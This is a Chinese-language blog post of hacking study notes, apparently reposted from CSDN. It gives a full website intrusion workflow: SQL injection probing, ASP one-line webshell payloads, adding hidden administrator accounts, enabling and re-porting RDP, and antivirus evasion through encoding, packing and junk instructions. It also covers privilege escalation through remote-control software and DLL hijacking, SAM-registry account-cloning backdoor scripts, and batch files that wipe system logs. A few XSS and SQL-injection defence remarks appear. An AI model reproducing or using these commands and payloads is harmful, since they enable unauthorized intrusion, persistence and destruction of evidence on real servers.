黑客攻防web安全实战详解笔记
如有不足,欢迎指出,谢谢!
-----------------------------------------
1,url传值
GET传值:其传递的值会附加到url上
POST传值:其传递的值不会加载url上
2,常见的数据库类型:access(常作为小企业、网站的数据库,一般都是access+asp组合,一般以.mdb/.asp/.asa为扩展名,
置于网站目录下)、mysql(一般不在网站目录下)、sql server、oracle、nosql
3,应用服务
·文件服务器:如NOVELL的netware
·数据库服务器:
·邮件服务器:sendmail/postfix/qmail/microsoft exchange/lotus domino
·网页服务器:如:apache/thttpd/iis
·ftp服务器:pureftpd/proftpd/wu-ftpd/serv-u
·域名服务器:bind9
·代理服务器:如squid cache
网站信息收集:网上在线搜索,whois,域名注册的地方搜索
拓扑探测:服务器、防火墙、路由器 如软件:VirsualROUTE
常用的端口扫描技术
tcp connect(),返回成功,端口属于侦听状态
tcp SYN ,返回SYN|ACK 属于开放,返回RST 端口关闭
tcp FIN ,返回开端的忽略请求包,关闭用适当的RST回复,有的系统都忽略
在线端口扫描
搜索引擎基本语法
filetype:扩展名 搜索结果仅返回有特定文件类型的网页
info:url 返回需要查询网站的一些信息
intitle:xxx 返回标题里有xxx的网页
inurl:sss 在url里包含了sss的网页
搜索后台(inurl:admin/login.asp)/site:xx.com intext:管理/
site:xx.com intext:用户名 密码/site:xx.com intext:login/
site:xx.com intext:manage/site:xx.com intext:admin/
site:xx.com intitle:后台/site:xx.com intitle:管理/
网站目录:index of
转到父目录:to parent directory
一次完整的渗透入侵步骤:
#在虚拟机里下载的网站源
*找到可以sql注入的网页,在目标网页中任意点击,在url后加入'/and 1=1/and 1=2,重新加载页面,如果页面返回不正常,则一定存在sql漏洞
**根据经验找到后台url,使用弱口令尝试
*用啊D检测工具检测,得到后台的用户名 密码,检测后台登陆网址
*登录成功,在系统管理里网页名称输入:"%><%eval request("123456")%><%’,一句话木马,保存在/inc/setup.asp文件里
*用菜刀(木马连接器)连接网页文件,如http://localhost/inc/set.asp,密码就是123456,在文件管理内可以管理该网站
*右键虚拟终端,创建用户:net user test1 1234 /add,提权:net localgroup administrators test1 /add
*打开远程连接的3389端口:REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
*用用户名test1和密码1234连接网站的服务器电脑,就可以控制对方电脑了
*留后门和清脚印(清日志)
在建立用户时用net user test1$ 1234 /add ,管理员在用net user查看系统用户时就看不见了
运行regedit, 进入HKEY_LOCAL_MACHINE--SYSTEM--CurrentControlSet--Control--Terminal Server--Wds--rdpwd--tds--tcp,将PortNumber从默认的
3389改为其他的,如13389。
进入到HKEY_LOCAL_MACHINE--SYSTEM--CurrentControlSet--Control--Terminal Server--WinStations--RDP-Tcp,将PortNumber改为13389.
下次访问就用13389端口连接
使用日志清除工具。
ip地址转为10进制:如:220.181.18.155=220*256*256*256+181*256*256+18*256+155=3702854299
url:http://www.162.com:123456@3702854299 表示用户名是www.162.com,密码是123456,请求3702854299,@后的才是真正访问机页面
一般网页是不会显示前面的用户名和密码的,这个是用来迷惑用户的钓鱼连接
Unicode编码:样式为“%5c%23”
host文件:修改host文件域名对应的ip地址,可以访问到不同的地方去
.ocx 控件文件
--------------
sql注入
count():函数确定字段名和表名
确认表名:http://127.0.0.1/login.asp?uname=admin' and(select count(*) from data)>0 and 'a'='a amd count值大于0表示这个表中有值,既存在表。
确认字段:select count(uname) from data>0 //uname是我猜测的可能存在的字段名,注意常用的用户名/密码字段名,如果页面返回正确,则存在该字段名
len()函数:确认密码/用户名的长度
len(upass)(>、=)1
二分法:len(upass)<16 / len(upass)<8
mid(字符串,起始位置,长度)函数:mid('abcd',2,2)表示从第二位开始的两个字符,得到的结果就是bc
也可以模糊查询:mid(upass,1,1)>'a' 或mid(upass,1,1)>'z'
用户名:admin 密码:admin的MD5加密
Trim(),去掉空格
sql漏洞防御:捕获关键词:select,where,union等出力
跨站脚本攻击(xss)防御:用户输入的数据都要过滤,将特殊字符(如尖括号之类的)转化为html特殊字符集里的字符,就不会当成代码来执行(如‘>’==“>”)
后门免杀,杀毒软件是根据特征码来判断是否为病毒文件的
* 第一种放方法 ,先把asp代码编码,执行时在解码,如Script Encoder 加密后的文件以<%@LANDUAGE=VBScript.Encoder %>开头
*第二种方法,利用ASP中的execute函数,使用来执行字符串的,如execute("response.write(""test"")")==》response.write("test"),由于execute函数里的代码是字符串,故遇到双引号要双写)
-----------------------------
一句话木马:
<%eval request("123456")%>
<%execute request("1")%>
-------------------
图片asp木马:copy 1.jpg /b + 1.asp /a asp.jpg ,/b是指定以二进制格式复制、合并文件,参数/a指定以ASCII格式复制、合并文件
配置不当提升权限,入侵者常关注的目录:
C:\Document and settings\
C:\Document and settings\All Users
C:\Document and settings\All Users\【开始】菜单\程序、
C:\Document and settings\Administrator\桌面
C:\Document and settings\All Users\Application Data\symantec\PCanywhere
C:\Program Files\
D:\Program Files\
C:\Program Files\Internet Explorer
C:\Program Files\Serv-U\
C:\Program Files\java web start\
C:\Program Files\mocrosoft sql server\
C:\WINNT\SYSTEM32\CINFIG\
C:\winnt\system32\inetsrv\data\(完全控制权限)
C:\prel\(有写权限)
c:\temp\
c:\mysql\
c:\php\(有写权限)
@Windows 2000\xp 的Runas命令,允许用户用其他权限运行特定的工具和程序,而不是当前登录用户所提供的权限
@FAT32和NTFS的区别:
fat(文件分配表)意义在于对硬盘分区的管理,常见的有FAT16/FAT32;
NTFS:1)增加了计算机的安全性,可以对单个文件或文件夹设置权限
2)只为写入的文件部分分配磁盘空间
3)元数据恢复记录,可在计算机断电或发生其他系统问题时尽快恢复信息
4)在重启计算机之后不需要运行chkdsk.exe硬盘自检工具即可立刻访问卷,可用来监控和控制单个用户使用的磁盘空间量
5)最大驱动器容量远大于fat最大容量,顺驱动器容量的增加,性能不下降
其他第三方提权介绍:
serv-u提权:使用serv-u,用户可以将任何一台pc设置为服务器,就可以是用ftp协议,在同一网络上的pc机连接服务器,进行文件或目录的操作,serv-u>3.x的默认端口是43958,默认管理员是LocalAdministrator,默认密码是#l@$ak.lk;0@p; serv-u除了密码漏洞外还有本机溢出和servUDaemin.ini文件覆盖
PcAnywhere提权:这是一个远程控制软件,密码保存在软件目录下的CTF文件里,解密破解得到密码
VNC提权:是一个远程控制工具,默认端口是5900,5901,5902,密码保存在注册表HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WINvnc4\password中,解密得到密码
Radmin提权:远程控制软件,默认端口是4899,密码为空。密码注册表:HKEY_LOCAL_MACHINE\SYSTEM\RAmin\V2.0\Server\paremeters\Parameter;端口注册表:HKEY_LOCAL_MACHINE\SYSTEM\RAmin\V2.0\Server\paremeters\port
搜狗提权:目录默认是可写的,
pinyinup.exe 是搜狗 输入法的的自动升级程序,替换后,下次自动升级就会调用提权程序
ImeUtil.exe 是开机启动程序,替换后,重启启动就会运行提权程序
popup.dll 是运行时加载的一个文件,替换后,就会在运行时执行提权操作
dll劫持:将软件运行时执行的dll文件替换为提权程序,加载程序时,提权操作也就执行了,这种行为刀座dll劫持
lcx端口转发:反向链接,用于外网pc机不能连接内网机但内网机可以连接外网机
DOS:磁盘操作系统,dos命令是面向磁盘的操作命令
DOS:denial of server 拒绝服务,
DDOS::Distributed Denial of Service,分布式拒绝服务,将多个计算机联合起来攻击一个或多个目标
tcp/ip:Transmission Control Protocol/Internet Protocol,传输控制协议/网络互联协议
网马隐藏:
使用框架:<iframe src=“木马页面” width="0" height="0"></iframe>
不算漏洞的漏洞:IE浏览器,如果在一个图片文件里有html代码,就会解析并执行这些代码
杀毒软件是检测指定位置的代码是否与数据库里保存的病毒特征码一致
加壳技术:将程序代码加密,在程序代码开始的部分插入解密代码,执行时就解密程序在运行;
压缩壳(带有压缩功能的壳):这样的加壳技术会使程序的体积变大,应用压缩技术,经过加壳的程序反而比没有加壳的程序小
花指令(没有意义的代码),将代码开头插入(jmp)跳转到无用的空间(一般在程序结尾处)执行花指令(inc eax&dec eax==eax加1和减1),然后再回到开头执行原来的代码,这样所有的代码位置会向后移动,杀毒软件的指定位置的代码就变了。
rootkitt是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。检测rookit的工具有IceSword和Darkspy105
基于内网的入侵
内网又称局域网(local area network,LAN)主要技术要素是:网络拓扑(总线,星型,环形,树形,混合型),传输介质(有线或无线)与介质访问控制方法(以太网,令牌环网,FDDI网和无线局域网)
旁注的意思是:利用同服务器的其他网站的漏洞入侵,之后获得该网站的控制权
C段的一般认为是IP分类中的C类段地质类,但是在黑客术语中C段的意思是同网段服务器入侵,对目标服务器处于同一网段的其他服务器进行入侵,在通过内网渗透对目标服务器入侵; 同网段是指:如目标ip思10.0.12.18,那么10.0.12.1~10.0.12.255是同网段的,常见于安全性极高的带大型网站 {c段在线查询}
域:将多个计算机联合,用户账号,密码在同一个数据库里,一个的用户可以用不同的电脑登陆自己的账号;在域内访问其他机器,不再需要被访问机器的许可(加入域要得到域管理者的许可,也可以由与管理者添加用户)
内网信息刺探:
ipconfig /all 获得主机网卡信息
net view 显示当前域或工作组中的计算机列表
net view /domain [:domainname] 查看指定计算机可用的域
net user /domain 查看用户列表
net group "domain admins" /domain 查看域管理组成员
net user 管理员名 /domain 获取域管理员信息
net /help 或net ? 获取net可操作对象
net user /help或? 获取net user的具体使用方法
ARP协议:通过目标设备的IP地址,查询目标设备的MAC地址;
互联网的通信是基于IP地址的,但在一个局域网中的通信是基于MAC地址的
局域网中的ip地址是变化的,例如学校网络,每一次联网,分配的IP地址都是不一样的,所以用MAC地址通信
ARP欺骗:攻击者C在B给出相应前,回应A,自己就是B,并将自己的MAC地址发送给A,那么A就会以为C的mac地址就是B的,并向C的MAC地址发送原本要发送给B的数据,同时,也可以对B说自己是A
账号后门
手工克隆账号:直接给管理员权限的账号可以是用 命令或账号管理查看账号的真是权限,而克隆出来账号却无法被上述方法查出 ;
实例:账号guest被禁用,管理员无法查看真实权限,但真实就是可以用还是管理员权限{图形界面}
步骤一:以system权限打开注册表编辑器:[HLM]\SAM/SAM\Domains\account\users\names
步骤二:克隆账号:找到Administirs权限的类型,根据类型找到同样的账号配置健,打开复制里面的数据,在找到账号guest的权限类型,找到账号配置健,粘贴数据,克隆完成
步骤三:禁用账号:命令{net user guest /active:no} 然后就没有操作了,我很疑惑被禁用的用户怎么还能用,就因为被克隆了吗?
用命令行制作账号后门
步骤一:编写文件
编写reg文件并保存为delf.reg:
Windows Registry EdItor Version 5.00
[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F5]
"f"=-
编写bat文件,并保存为zhdoor.bat
psu -p "regedit /s delf.reg" -i %1
psu -p "reg copy hklm\SAM\SAM\Domains\Account\Users\000001F4\f hklm\SAM\SAM\Domains\Account\000001f5\f" -i %1
net user guest /active:yes
net user guest 123456789
net user guest /active:no
del delf.reg
del psu.exe
del zhdoor.bat
步骤二:查看远程主机/服务器中system进程的PID:通过工具, 一般PID=8
步骤三:上传文件、登录远程主机
步骤四:执行bat文件 ,命令:winnt\zhdoor.bat 8
编写BAT文件手工清除日志
@del C:\WINNT\SYSTEM32\LOGFILES\*.*
@del C:\WINNT\SYSTEM32\CONFIG\*.EVT
@del C:\WINNT\SYSTEM32\DTCLOG\*.*
@del C:\WINNT\SYSTEM32\*.LOG
@del C:\WINNT\SYSTEM32\*.TXT
@del C:\WINNT\*.LOG
@del C:\WINNT\*.TXT
@del C:\CLEARLOG.BAT
---------------------
作者:supu21
来源:CSDN
原文:https://blog.csdn.net/fps1234567/article/details/81102715
黑客攻防web安全实战详解笔记的更多相关文章
- 《Node.js开发实战详解》学习笔记
<Node.js开发实战详解>学习笔记 ——持续更新中 一.NodeJS设计模式 1 . 单例模式 顾名思义,单例就是保证一个类只有一个实例,实现的方法是,先判断实例是否存在,如果存在则直 ...
- TCP-IP详解笔记6
TCP-IP详解笔记6 用户数据报协议和IP分片 UDP是一种保留消息边界的面向数据报的传输层协议. 不提供差错纠正, 队列管理, 重复消除, 流量控制和拥塞控制. 提供差错检测, 端到端(end-t ...
- TCP-IP详解笔记4
TCP-IP详解笔记4 系统配置: DHCP和自动配置 每台主机和路由器需要一定的配置信息,配置信息用于为系统指定本地名称,及为接口指定标识符(如IP地址). 提供或使用各种网络服务,域名系统(DNS ...
- TCP-IP详解笔记3
TCP-IP详解笔记3 地址解析协议 IP协议的设计目标是为跨越不同类型物理网络的分组交换提供互操作. 网络层软件使用的地址和底层网络硬件使用的地址之间进行转换. 对于TCP/IP网络,地址解析协议( ...
- 《iOS 7 应用开发实战详解》
<iOS 7 应用开发实战详解> 基本信息 作者: 朱元波 管蕾 出版社:人民邮电出版社 ISBN:9787115343697 上架时间:2014-4-25 出版日期:2014 年5 ...
- Android安卓书籍推荐《Android驱动开发与移植实战详解》下载
百度云下载地址:点我 Android凭借其开源性.优异的用户体验和极为方便的开发方式,赢得了广大用户和开发者的青睐,目前已经发展成为市场占有率很高的智能手机操作系统. <Android驱动开发与 ...
- http详解笔记
http详解笔记 http,(HyperText Transfer Protocol),超文本传输协议,亦成为超文本转移协议 通常使用的网络是在TCP/IP协议族的基础上运作的,HTTP属于它的一 ...
- C#二次开发BIMFACE系列61 File Management文件管理服务接口二次开发及实战详解
系列目录 [已更新最新开发文章,点击查看详细] 在我的博客<C#二次开发BIMFACE系列61 File Management文件管理服务接口二次开发及实战详解>最后列出了 Fil ...
- Java web.xml 配置详解
在项目中总会遇到一些关于加载的优先级问题,近期也同样遇到过类似的,所以自己查找资料总结了下,下面有些是转载其他人的,毕竟人家写的不错,自己也就不重复造轮子了,只是略加点了自己的修饰. 首先可以肯定的是 ...
随机推荐
- Plugin with id 'com.novoda.bintray-release' not found的解决方法
我们一般在在github上下载下来的代码,有时候会提示Plugin with id ‘com.novoda.bintray-release’ not found的错误,这个怎么解决呢,其实很简单,只要 ...
- 在不升级 mysql 的情况下直接使用 mysql utf8 存储 超过三个字节的 emoji 表情
由于现在数据库的版本是5.5.2,但是看网上说要直接存储emoji表情,需要升级到5.5.3然后把字符集设置为utf8mb4,但是升级数据库感觉属于敏感操作. 考虑了多久之后直接考虑使用正则来替换,但 ...
- CommonJS、AMD、CMD、NodeJs、RequireJS到底有什么联系?
JS中的模块规范(CommonJS,AMD,CMD),如果你听过js模块化这个东西,那么你就应该听过或CommonJS或AMD甚至是CMD这些规范,本文包括这三个规范的来源及对应的产物的原理. 一.C ...
- HDU 2955 变形较大的01背包(有意思,新思路)
题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2955 Robberies Time Limit: 2000/1000 MS (Java/Others) ...
- 用ansible2.5在Centos7.2上部署OpenShift3.9(转)
1.环境: 主机名 ip 角色 master 10.2.1.198 master node1 10.2.1.174 no ...
- rem布局简介
移动端常见布局: 1.流式布局 高度固定,宽度自适应 2.响应式布局 能够用一套代码适应不同尺寸屏幕 3.rem布局 宽高自适应,能实现整个页面像一张图片一样缩放且不失真的效果. rem布局: em: ...
- Go语言连接Oracle(就我这个最全)
综合参考了网上挺多的方案 倒腾了半天终于连接好了 Go都出来这么多年了 还没有个Oracle的官方驱动... 过程真的很蛋疼..一度想放弃直接连ODBC 首先交代一下运行环境和工具版本: WIN10 ...
- Mybatis主线流程源码解析
Mybatis的基础使用以及与Spring的相关集成在官方文档都写的非常详细,但无论我们采用xml还是注解方式在使用的过程中经常会出现各种奇怪的问题,需要花费大量的时间解决. 抽空了解一下Mybat ...
- JavaWeb基础—dbutils的简单入门
简明入门教程,参考:https://www.cnblogs.com/CQY1183344265/p/5854418.html 进行此章节之前,介绍一个JdbcUtils的再次的简单封装 (例如后面需要 ...
- flex学习园地
http://blog.sina.com.cn/s/blog_6d0dc2a901013enk.html